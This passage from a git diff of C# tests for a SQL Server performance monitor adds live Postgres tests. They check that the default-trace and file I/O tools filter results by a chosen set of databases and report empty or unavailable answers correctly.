+            var message = none.GetProperty("message").GetString()!;
+            Assert.Equal("No significant default trace events found in the requested time range for the chosen databases.", message);
+            Assert.DoesNotContain("NoSuchDb", message, StringComparison.Ordinal);
+
+            var webTrace = await WebReadProbe.ReadAsync(postgres, ServerName, "get_default_trace_events", "24", DbA, DbB);
+            Assert.Equal(new[] { DbA, DbB }, webTrace.GetProperty("events").EnumerateArray().Select(e => e.GetProperty("database_name").GetString()).Order().ToArray());
+            Assert.Equal("the chosen databases", webTrace.GetProperty("database_name").GetString());
+
+            /* #5244 PR6 (W): the sentence form Lite's McpDatabaseSelection builds, and database_name echoed on every answer shape. */
+            Assert.Equal("the chosen databases", none.GetProperty("database_name").GetString());
+            Assert.Equal(JsonValueKind.Null, allTool.GetProperty("database_name").ValueKind);
+            var oneNone = JsonDocument.Parse(await DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(postgres, ServerName, 24, 100, DatabaseFilter.One("NoSuchDb"), null, null, ct)).RootElement;
+            Assert.Equal("No significant default trace events found in the requested time range for the database NoSuchDb.", oneNone.GetProperty("message").GetString());
+            Assert.Equal("NoSuchDb", oneNone.GetProperty("database_name").GetString());
+            var wsTool = JsonDocument.Parse(await DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(postgres, ServerName, 24, 100, DatabaseFilter.One("  "), null, null, ct)).RootElement;
+            Assert.Equal(JsonValueKind.Null, wsTool.GetProperty("database_name").ValueKind);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /* The event timestamp is the seed time, not a fixed date: since #5373 a severe error is named by the id's name AT ITS OWN TIME,
+       and the history read only looks 14 days past the errors' range. */
+    private static string ErrorReportedXml(int errorNumber, int databaseId, DateTime at) =>
+        $"<event name=\"error_reported\" package=\"sqlserver\" timestamp=\"{at:yyyy-MM-ddTHH:mm:ss.fffZ}\">" +
+        $"<data name=\"error_number\"><value>{errorNumber}</value></data>" +
+        "<data name=\"severity\"><value>20</value></data>" +
+        "<data name=\"state\"><value>1</value></data>" +
+        "<data name=\"message\"><value>db-filter probe</value></data>" +
+        $"<action name=\"database_id\"><value>{databaseId}</value></action>" +
+        "</event>";
+
+    /// <summary>
+    /// Seeds one server with three databases (A, B and C): a latest database_config snapshot, a database-id map
+    /// (11, 12 and 13), four severe errors (one per database plus one with no database context), and four significant
+    /// default-trace ErrorLog rows (one per database plus one with no database name).
+    /// </summary>
+    private static async Task SeedAsync(string cs, CancellationToken ct)
+    {
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        var t = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-5);
+
+        foreach (var db in new[] { DbA, DbB, DbC })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO database_config (config_id, capture_time, server_id, server_name, database_name, state_desc, compatibility_level, collation_name, recovery_model,
+    is_read_only, is_auto_close_on, is_auto_shrink_on, is_auto_create_stats_on, is_auto_update_stats_on, is_auto_update_stats_async_on,
+    is_read_committed_snapshot_on, snapshot_isolation_state, is_parameterization_forced, is_query_store_on, is_encrypted, is_trustworthy_on,
+    is_db_chaining_on, is_broker_enabled, is_cdc_enabled, is_mixed_page_allocation_on, log_reuse_wait_desc, page_verify_option,
+    target_recovery_time_seconds, delayed_durability, is_accelerated_database_recovery_on, is_memory_optimized_enabled, is_optimized_locking_on)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32)",
+                CollectionIdGenerator.Next(), t, ServerId, ServerName, db, "ONLINE", 160, "SQL_Latin1_General_CP1_CI_AS", "FULL",
+                false, false, false, true, true, false,
+                true, "OFF", false, true, false, false,
+                false, true, false, false, "NOTHING", "CHECKSUM",
+                60, "DISABLED", false, false, false);
+        }
+
+        var ids = new[] { (DbA, 11), (DbB, 12), (DbC, 13) };
+        foreach (var (db, id) in ids)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id)
+VALUES ($1,$2,$3,$4,$5,$6)", CollectionIdGenerator.Next(), t, ServerId, ServerName, db, id);
+        }
+
+        var errorSeeds = new[] { (50011, 11), (50012, 12), (50013, 13), (50014, 0) };
+        foreach (var (number, id) in errorSeeds)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO system_health_events (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7)",
+                CollectionIdGenerator.Next(), t, ServerId, ServerName, t, SystemHealthParser.ErrorReportedEvent, ErrorReportedXml(number, id, t));
+        }
+
+        foreach (var db in new string?[] { DbA, DbB, DbC, null })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO default_trace_events
+(default_trace_event_id, collection_time, server_id, server_name, event_time, event_name, database_name, severity, text_data)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                CollectionIdGenerator.Next(), t, ServerId, ServerName, t, "ErrorLog", (object?)db ?? DBNull.Value, 20, "marker-" + (db ?? "none"));
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var sql = $"DELETE FROM default_trace_events WHERE server_id = {ServerId};" +
+                  $" DELETE FROM system_health_events WHERE server_id = {ServerId};" +
+                  $" DELETE FROM database_size_stats WHERE server_id = {ServerId};" +
+                  $" DELETE FROM database_config WHERE server_id = {ServerId};" +
+                  $" DELETE FROM servers WHERE server_id = {ServerId};";
+        using var cleanup = new NpgsqlCommand(sql, connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ExcludedDatabasesTests.cs b/Darling/Darling.Tests/ExcludedDatabasesTests.cs
index cd9d6c8032..a3235bce84 100644
--- a/Darling/Darling.Tests/ExcludedDatabasesTests.cs
+++ b/Darling/Darling.Tests/ExcludedDatabasesTests.cs
@@ -84,7 +84,7 @@ public void BuildDatabaseItems_NoCollectedList_SeedsExistingExclusionsAsManualRo
     [Fact]
     public void CollectedDatabaseNamesSql_UnionsBothStores_ExcludesSystemDatabases_PgDialect()
     {
-        var sql = ViewerDataService.CollectedDatabaseNamesSql;
+        var sql = CollectedDatabases.NamesSql;
 
         Assert.Contains("FROM v_database_config", sql, StringComparison.Ordinal);
         Assert.Contains("FROM v_database_size_stats", sql, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/FactCollectorFailureReportingTests.cs b/Darling/Darling.Tests/FactCollectorFailureReportingTests.cs
index caa60c1d32..49abdd207e 100644
--- a/Darling/Darling.Tests/FactCollectorFailureReportingTests.cs
+++ b/Darling/Darling.Tests/FactCollectorFailureReportingTests.cs
@@ -45,6 +45,7 @@ namespace Darling.Tests;
 /// port of each other and the class doc says so; a blind spot repaired on one side only would
 /// silently re-open on the other the next time someone ports a method across.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class FactCollectorFailureReportingTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/FactRankedTests.cs b/Darling/Darling.Tests/FactRankedTests.cs
index b25ffc07a0..880536219d 100644
--- a/Darling/Darling.Tests/FactRankedTests.cs
+++ b/Darling/Darling.Tests/FactRankedTests.cs
@@ -29,6 +29,7 @@ namespace Darling.Tests;
 /// rows. A reflection walk over every collector would have to invent fixtures for families that never rank, and
 /// would pass vacuously on the three that do.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class FactRankedTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/FactSourceRegistryTests.cs b/Darling/Darling.Tests/FactSourceRegistryTests.cs
index 6587de909e..f04af8b586 100644
--- a/Darling/Darling.Tests/FactSourceRegistryTests.cs
+++ b/Darling/Darling.Tests/FactSourceRegistryTests.cs
@@ -33,6 +33,7 @@ namespace Darling.Tests;
 /// agent's empty result), against the scorer's own switch arms (a subset — two sources carry context and
 /// are deliberately not scored), and against the two tools' descriptions and refusals.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class FactSourceRegistryTests
 {
     /// <summary>A source literal wherever it is stamped: <c>Source = "waits"</c> on a fact, or the one named
diff --git a/Darling/Darling.Tests/FailedSendRetryTrackerClockStepTests.cs b/Darling/Darling.Tests/FailedSendRetryTrackerClockStepTests.cs
index ee9c605d02..f9b83d3986 100644
--- a/Darling/Darling.Tests/FailedSendRetryTrackerClockStepTests.cs
+++ b/Darling/Darling.Tests/FailedSendRetryTrackerClockStepTests.cs
@@ -27,6 +27,7 @@ namespace Darling.Tests;
 /// the same rule from the same copy of it. The raw stamp is <see cref="FailedSendRetryTracker.StampedDueUtc"/>,
 /// which only tests read.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class FailedSendRetryTrackerClockStepTests
 {
     private static readonly DateTime T0 = new(2026, 9, 29, 12, 0, 0, DateTimeKind.Utc);
diff --git a/Darling/Darling.Tests/FailureNoteRedactionTests.cs b/Darling/Darling.Tests/FailureNoteRedactionTests.cs
index 57a13551be..5edd72107b 100644
--- a/Darling/Darling.Tests/FailureNoteRedactionTests.cs
+++ b/Darling/Darling.Tests/FailureNoteRedactionTests.cs
@@ -39,6 +39,7 @@ namespace Darling.Tests;
 /// call sites — over comment/string-stripped source, so a re-introduced <c>ex.Message</c> fails here rather
 /// than in a support ticket that pastes a ping response into a chat.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class FailureNoteRedactionTests
 {
     // ── the formatter ────────────────────────────────────────────────────────────────────
diff --git a/Darling/Darling.Tests/FileGrowthAlertStoreTests.cs b/Darling/Darling.Tests/FileGrowthAlertStoreTests.cs
index 6bc5c74263..22fe88f795 100644
--- a/Darling/Darling.Tests/FileGrowthAlertStoreTests.cs
+++ b/Darling/Darling.Tests/FileGrowthAlertStoreTests.cs
@@ -22,6 +22,7 @@ namespace Darling.Tests;
 /// rung forever — that it is registered, that its DDL is what it was, and that a store migrated to exactly
 /// 79 still maps to 79 rather than falling through a newer arm.
 /// </summary>
+[Trait("Reads", "Lite")]
 public class FileGrowthAlertStoreTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/FileGrowthRiseUnitCensusTests.cs b/Darling/Darling.Tests/FileGrowthRiseUnitCensusTests.cs
index c23236d286..64b6155e83 100644
--- a/Darling/Darling.Tests/FileGrowthRiseUnitCensusTests.cs
+++ b/Darling/Darling.Tests/FileGrowthRiseUnitCensusTests.cs
@@ -42,6 +42,8 @@ namespace Darling.Tests;
 /// reflection in <c>DarlingMcpAlertToolsTests</c> (where its wire contract is pinned) and by source here, so
 /// the roster is complete on its own; Lite's has no reflection pin and is source-only.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public class FileGrowthRiseUnitCensusTests
 {
     /// <summary>The literal the XAML labels carry. Pinned to the constant so the two cannot drift apart:
diff --git a/Darling/Darling.Tests/FileIoDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/FileIoDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..783795de41
--- /dev/null
+++ b/Darling/Darling.Tests/FileIoDatabaseFilterLiveTests.cs
@@ -0,0 +1,371 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5244 (PR5, lane R2): get_file_io_stats and get_file_io_trend read a SET of databases. Each reader and tool gains an
+/// overload that takes a <see cref="DatabaseFilter"/>; the public tool methods keep passing every database (the trend: the
+/// one database_name it already takes) until the wiring lane. This class pins, over a seed of A, B and C plus a crowd of
+/// small databases: [A, B] returns only A and B on every statement the reads use; the snapshot's capture does not move with
+/// the filter; one chosen database keeps the per-file chart (a <c>file_name</c> on every line) while two or more draw
+/// per-database lines within the set; the top-five-plus-"(other)" cap holds in both shapes and applies after the filter; and
+/// the empty, unavailable and never-collected answers say something true for a list. Skips without <c>DARLING_TEST_PG</c>.
+/// </summary>
+// #1776 own-store: this fixture seeds its own server id and removes its rows; it does not use ScratchPostgres.
+[Collection("live-postgres")]
+public sealed class FileIoDatabaseFilterLiveTests
+{
+    internal const string ServerName = "darling-file-io-dbfilter-e2e";
+    private const string EmptyServerName = "darling-file-io-dbfilter-none-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static readonly int EmptyServerId = ServerIdHelper.GetDeterministicHashCode(EmptyServerName);
+    internal const string DbA = "FioDbA";
+    internal const string DbB = "FioDbB";
+    internal const string DbC = "FioDbC";
+    internal const string DbMany = "FioMany";
+    private const string Skip = "Set DARLING_TEST_PG to a Postgres connection string to run the live file I/O database-filter test.";
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static string Crowd(int i) => "FioCrowd" + i.ToString("00", System.Globalization.CultureInfo.InvariantCulture);
+
+    [Fact]
+    public void Sql_IsTheListForm_OnEveryStatementTheReadsUse_WithNoNameSplicedIn()
+    {
+        Assert.Contains("($2::text[] IS NULL OR database_name = ANY($2))", DarlingDataReader.LatestFileIoStatsSql, StringComparison.Ordinal);
+        Assert.Contains("($4::text[] IS NULL OR database_name = ANY($4))", DarlingTrendReader.FileIoSeriesSql, StringComparison.Ordinal);
+        Assert.Contains("($4::text[] IS NULL OR database_name = ANY($4))", DarlingTrendReader.FileIoTrendSql, StringComparison.Ordinal);
+        /* The per-file grain is "exactly one chosen database", on the ranking and on the bucket query alike. */
+        Assert.DoesNotContain("$4::text IS NULL", DarlingTrendReader.FileIoSeriesSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("$4::text IS NULL", DarlingTrendReader.FileIoTrendSql, StringComparison.Ordinal);
+        Assert.Contains("cardinality($4::text[]) = 1", DarlingTrendReader.FileIoSeriesSql, StringComparison.Ordinal);
+        Assert.Contains("cardinality($4::text[]) = 1", DarlingTrendReader.FileIoTrendSql, StringComparison.Ordinal);
+        /* The snapshot's anchor subquery is NOT filtered, so a filtered and an unfiltered call show the same capture. */
+        var sql = DarlingDataReader.LatestFileIoStatsSql;
+        var anchorSubquery = sql[sql.IndexOf("(SELECT MAX", StringComparison.Ordinal)..sql.IndexOf("($2::text[]", StringComparison.Ordinal)];
+        Assert.DoesNotContain("$2", anchorSubquery, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Snapshot_TwoNames_ReturnOnlyThoseDatabases_OnTheSameCaptureAsEveryDatabase_AndAnEmptyAnswerSaysWhichKind()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), Skip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(cs!, ct);
+
+            /* The newest capture holds A and C only (B was in the older ones), so it is the same capture for every filter. */
+            var all = await DarlingDataReader.GetLatestFileIoStatsAsync(postgres, ServerId, DatabaseFilter.All, ct);
+            Assert.Equal(new[] { DbA, DbA, DbC }, all.Rows.Select(r => r.DatabaseName).Order().ToArray());
+            var viaDefault = await DarlingDataReader.GetLatestFileIoStatsAsync(postgres, ServerId, cancellationToken: ct);
+            Assert.Equal(all.Rows.Count, viaDefault.Rows.Count);
+
+            var ab = await DarlingDataReader.GetLatestFileIoStatsAsync(postgres, ServerId, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { DbA, DbA }, ab.Rows.Select(r => r.DatabaseName).ToArray());
+            Assert.Equal(all.CapturedAt, ab.CapturedAt);
+
+            var bc = await DarlingDataReader.GetLatestFileIoStatsAsync(postgres, ServerId, DatabaseFilter.Of([DbB, DbC]), ct);
+            Assert.Equal(new[] { DbC }, bc.Rows.Select(r => r.DatabaseName).ToArray());
+            Assert.Equal(all.CapturedAt, bc.CapturedAt);
+
+            /* B has rows in the store but none in the newest capture: the filtered snapshot is empty, the capture is not. */
+            var b = await DarlingDataReader.GetLatestFileIoStatsAsync(postgres, ServerId, DatabaseFilter.One(DbB), ct);
+            Assert.True(b.IsEmpty);
+            Assert.NotNull(await DarlingDataReader.GetLatestFileIoCaptureAsync(postgres, ServerId, ct));
+            Assert.Null(await DarlingDataReader.GetLatestFileIoCaptureAsync(postgres, EmptyServerId, ct));
+
+            /* The tool overload: the page holds only the chosen databases and names them. */
+            var page = JsonDocument.Parse(await DarlingMcpDataTools.GetFileIoStats(postgres, ServerName, DatabaseFilter.Of([DbA, DbB]), ct)).RootElement;
+            Assert.Equal("the chosen databases", page.GetProperty("database_name").GetString());
+            Assert.Equal(all.CapturedAt!.Value.ToString("o"), page.GetProperty("captured_at").GetString());
+            Assert.All(page.GetProperty("files").EnumerateArray(), f => Assert.Equal(DbA, f.GetProperty("database_name").GetString()));
+            var one = JsonDocument.Parse(await DarlingMcpDataTools.GetFileIoStats(postgres, ServerName, DatabaseFilter.One(DbC), ct)).RootElement;
+            Assert.Equal(DbC, one.GetProperty("database_name").GetString());
+            var every = JsonDocument.Parse(await DarlingMcpDataTools.GetFileIoStats(postgres, ServerName)).RootElement;
+            Assert.Equal(JsonValueKind.Null, every.GetProperty("database_name").ValueKind);
+            Assert.Equal(3, every.GetProperty("files").GetArrayLength());
+
+            /* Empty path: the newest capture exists and holds none of the chosen databases. A true negative, not "unavailable",
+               and the sentence names the database (one) or the set (two or more), never the server. */
+            var emptyOne = JsonDocument.Parse(await DarlingMcpDataTools.GetFileIoStats(postgres, ServerName, DatabaseFilter.One(DbB), ct)).RootElement;
+            Assert.Equal("empty", emptyOne.GetProperty("status").GetString());
+            Assert.Contains("for the database " + DbB, emptyOne.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.Equal(DbB, emptyOne.GetProperty("database_name").GetString());
+            /* The advice word follows the count: one name says "The name", two or more say "The names". */
+            Assert.Contains("The name must match", emptyOne.GetProperty("message").GetString(), StringComparison.Ordinal);
+            var emptyMany = JsonDocument.Parse(await DarlingMcpDataTools.GetFileIoStats(postgres, ServerName, DatabaseFilter.Of([DbB, "NoSuchDb"]), ct)).RootElement;
+            Assert.Equal("empty", emptyMany.GetProperty("status").GetString());
+            Assert.Contains("for the chosen databases", emptyMany.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.Equal("the chosen databases", emptyMany.GetProperty("database_name").GetString());
+            Assert.Contains("The names must match", emptyMany.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.DoesNotContain("The name must match", emptyMany.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* Unavailable path: a server with no file I/O row at all stays "not collected" under a filter, and says which
+               databases the call was limited to. */
+            var never = JsonDocument.Parse(await DarlingMcpDataTools.GetFileIoStats(postgres, EmptyServerName, DatabaseFilter.Of([DbA, DbB]), ct)).RootElement;
+            Assert.NotEqual("empty", never.GetProperty("status").GetString());
+            Assert.Equal("the chosen databases", never.GetProperty("database_name").GetString());
+            var neverAll = JsonDocument.Parse(await DarlingMcpDataTools.GetFileIoStats(postgres, EmptyServerName)).RootElement;
+            Assert.Equal(never.GetProperty("status").GetString(), neverAll.GetProperty("status").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task Trend_OneName_KeepsPerFileLines_TwoNames_DrawPerDatabaseLinesWithinTheSet()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), Skip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var end = await SeedAsync(cs!, ct);
+            var start = end.AddHours(-1);
+
+            /* Reader level. One database: each of its files is a series. Two: one series per (database, file type). */
+            var oneSeries = await DarlingTrendReader.GetFileIoSeriesAsync(postgres, ServerId, start, end, DatabaseFilter.One(DbA), ct);
+            Assert.Equal(new[] { "FioDbA.a1.mdf", "FioDbA.a2.ldf" }, oneSeries.Select(s => s.DatabaseName + "." + s.FileName).Order().ToArray());
+            Assert.All(oneSeries, s => Assert.NotNull(s.FileName));
+
+            var abSeries = await DarlingTrendReader.GetFileIoSeriesAsync(postgres, ServerId, start, end, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { (DbB, "ROWS"), (DbA, "ROWS"), (DbA, "LOG") }, abSeries.Select(s => (s.DatabaseName, s.FileType)).ToArray());
+            Assert.All(abSeries, s => Assert.Null(s.FileName));
+            Assert.Equal(new long[] { 1, 1, 1 }, abSeries.Select(s => s.Files).ToArray());
+
+            var allSeries = await DarlingTrendReader.GetFileIoSeriesAsync(postgres, ServerId, start, end, DatabaseFilter.All, ct);
+            Assert.Contains(allSeries, s => s.DatabaseName == DbC);
+            Assert.All(allSeries, s => Assert.Null(s.FileName));
+
+            var abPoints = await DarlingTrendReader.GetFileIoTrendAsync(postgres, ServerId, start, end, DatabaseFilter.Of([DbA, DbB]), 5, 10, ct);
+            Assert.NotEmpty(abPoints);
+            Assert.All(abPoints, p => Assert.Contains(p.DatabaseName, new[] { DbA, DbB }));
+            Assert.All(abPoints, p => Assert.Null(p.FileName));
+            var onePoints = await DarlingTrendReader.GetFileIoTrendAsync(postgres, ServerId, start, end, DatabaseFilter.One(DbA), 5, 10, ct);
+            Assert.All(onePoints, p => Assert.Equal(DbA, p.DatabaseName));
+            Assert.All(onePoints, p => Assert.NotNull(p.FileName));
+
+            /* Tool level: the shape the answer declares follows the number of chosen databases, and the echo names them. */
+            var asOf = end.ToString("o");
+            var two = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, ServerName, 1, asOf, null, DatabaseFilter.Of([DbA, DbB]), TrendBudget.Chart, ct)).RootElement;
+            Assert.Equal("database_file_type", two.GetProperty("series_grain").GetString());
+            Assert.Equal("the chosen databases", two.GetProperty("database_name").GetString());
+            Assert.Equal(3, two.GetProperty("series_active").GetInt32());
+            Assert.All(two.GetProperty("trend").EnumerateArray(), p => Assert.Contains(p.GetProperty("database_name").GetString(), new[] { DbA, DbB }));
+            Assert.All(two.GetProperty("trend").EnumerateArray(), p => Assert.False(p.TryGetProperty("file_name", out _)));
+
+            var single = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, ServerName, 1, asOf, null, DatabaseFilter.One(DbA), TrendBudget.Chart, ct)).RootElement;
+            Assert.Equal("file", single.GetProperty("series_grain").GetString());
+            Assert.Equal(DbA, single.GetProperty("database_name").GetString());
+            Assert.All(single.GetProperty("trend").EnumerateArray(), p => Assert.NotEqual(JsonValueKind.Null, p.GetProperty("file_name").ValueKind));
+
+            /* The public tool still takes one name, and a whitespace-only name is every database; a name is kept exactly (#5244:
+               the tool no longer trims), so a padded name matches nothing. */
+            var publicBlank = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(postgres, ServerName, 1, asOf, null, "   ", ct)).RootElement;
+            Assert.Equal("database_file_type", publicBlank.GetProperty("series_grain").GetString());
+            Assert.Equal(JsonValueKind.Null, publicBlank.GetProperty("database_name").ValueKind);
+            var publicOne = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(postgres, ServerName, 1, asOf, null, DbA, ct)).RootElement;
+            Assert.Equal("file", publicOne.GetProperty("series_grain").GetString());
+            var padded = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(postgres, ServerName, 1, asOf, null, " " + DbA, ct)).RootElement;
+            Assert.Equal("empty", padded.GetProperty("status").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task Trend_TheTopFivePlusOtherCap_HoldsInBothShapes_AndAppliesAfterTheFilter()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), Skip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var end = await SeedAsync(cs!, ct);
+            var asOf = end.ToString("o");
+
+            /* One database with seven files: per-file lines, the five heaviest keep their own and the other two fold. */
+            var perFile = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, ServerName, 1, asOf, null, DatabaseFilter.One(DbMany), TrendBudget.Chart, ct)).RootElement;
+            Assert.Equal("file", perFile.GetProperty("series_grain").GetString());
+            Assert.Equal(7, perFile.GetProperty("series_active").GetInt32());
+            Assert.Equal(5, perFile.GetProperty("series_charted").GetInt32());
+            Assert.Equal(2, perFile.GetProperty("series_folded").GetInt32());
+            var perFileLegend = perFile.GetProperty("series").EnumerateArray().ToList();
+            Assert.Equal(6, perFileLegend.Count);
+            Assert.Equal(new[] { "m7.mdf", "m6.mdf", "m5.mdf", "m4.mdf", "m3.mdf", "(other)" }, perFileLegend.Select(s => s.GetProperty("file_name").GetString()).ToArray());
+            Assert.Equal(2, perFileLegend[5].GetProperty("files").GetInt64());
+            Assert.All(perFile.GetProperty("trend").EnumerateArray(), p => Assert.True(p.GetProperty("database_name").GetString() is DbMany or "(other)"));
+
+            /* Seven chosen databases of a store that holds twelve: per-database lines, the cap applies to the set. A, B, C and
+               the many-file database are outside it and appear nowhere. */
+            var chosen = Enumerable.Range(1, 7).Select(Crowd).ToArray();
+            var perDatabase = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, ServerName, 1, asOf, null, DatabaseFilter.Of(chosen), TrendBudget.Chart, ct)).RootElement;
+            Assert.Equal("database_file_type", perDatabase.GetProperty("series_grain").GetString());
+            Assert.Equal(7, perDatabase.GetProperty("series_active").GetInt32());
+            Assert.Equal(5, perDatabase.GetProperty("series_charted").GetInt32());
+            Assert.Equal(2, perDatabase.GetProperty("series_folded").GetInt32());
+            var legend = perDatabase.GetProperty("series").EnumerateArray().ToList();
+            Assert.Equal(new[] { Crowd(7), Crowd(6), Crowd(5), Crowd(4), Crowd(3), "(other)" }, legend.Select(s => s.GetProperty("database_name").GetString()).ToArray());
+            Assert.All(perDatabase.GetProperty("trend").EnumerateArray(), p => Assert.Contains(p.GetProperty("database_name").GetString()!, chosen.Append("(other)")));
+
+            /* The same twelve-database store read for every database folds differently: the cap is not a property of the data. */
+            var every = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, ServerName, 1, asOf, null, DatabaseFilter.All, TrendBudget.Chart, ct)).RootElement;
+            Assert.True(every.GetProperty("series_active").GetInt32() > 7);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task Trend_EmptyAndUnavailableAnswers_SaySomethingTrueForAList()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), Skip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var end = await SeedAsync(cs!, ct);
+            var asOf = end.ToString("o");
+
+            /* A list that matches nothing: empty, about the set, never a verdict on the server's collection. */
+            var many = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, ServerName, 1, asOf, null, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), TrendBudget.Chart, ct)).RootElement;
+            Assert.Equal("empty", many.GetProperty("status").GetString());
+            Assert.Contains("for the chosen databases", many.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.Equal("the chosen databases", many.GetProperty("database_name").GetString());
+            Assert.DoesNotContain("genuinely quiet", many.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* One name keeps its sentence, and now echoes the name. */
+            var one = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, ServerName, 1, asOf, null, DatabaseFilter.One("NoSuchDb"), TrendBudget.Chart, ct)).RootElement;
+            Assert.Equal("empty", one.GetProperty("status").GetString());
+            Assert.Contains("database 'NoSuchDb'", one.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.Equal("NoSuchDb", one.GetProperty("database_name").GetString());
+
+            /* The unfiltered quiet-window sentence is unchanged: a window with no rows at all. */
+            var quiet = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, ServerName, 1, end.AddDays(-30).ToString("o"), null, DatabaseFilter.All, TrendBudget.Chart, ct)).RootElement;
+            Assert.Equal("empty", quiet.GetProperty("status").GetString());
+            Assert.Contains("genuinely quiet", quiet.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.Equal(JsonValueKind.Null, quiet.GetProperty("database_name").ValueKind);
+
